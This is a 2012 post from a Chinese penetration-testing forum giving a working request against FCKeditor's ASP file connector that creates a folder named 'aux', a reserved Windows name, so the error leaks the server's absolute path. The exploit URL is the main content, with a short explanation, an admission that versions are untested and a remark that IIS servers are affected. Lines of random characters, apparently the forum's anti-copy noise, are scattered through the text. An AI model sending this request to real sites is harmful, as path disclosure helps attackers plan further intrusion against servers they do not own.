中国网络渗透测试联盟
标题:
最新FCKeditor爆绝对路径漏洞
[打印本页]
作者:
admin
时间:
2012-11-21 13:39
标题:
最新FCKeditor爆绝对路径漏洞
代码：FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2F&NewFolderName=aux
4 E$ w6 K0 p! D1 I+ M8 S# v' D O- F
+ r1 {) E3 }2 T$ `- R; J* ^7 P
8 {9 `- i+ u6 p) B+ ]
版本未测试。。。
% o) o" t( j% a3 {2 b
! m) ~! V3 B) Q/ Z/ ^" u! \
原理：新建个aux文件夹，aux在windows系统不支持，所以会报错，爆出绝对路径，这个比较鸡肋。求大神别喷。。。
m4 L2 V7 y' n+ G E. P$ N; g
/ J1 S2 n% d, f6 P- ?
. W0 Z% r5 \* b7 b9 X: m
听说IIS都可以。。
& j$ \! p. e3 X! _4 q# G2 x* w
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2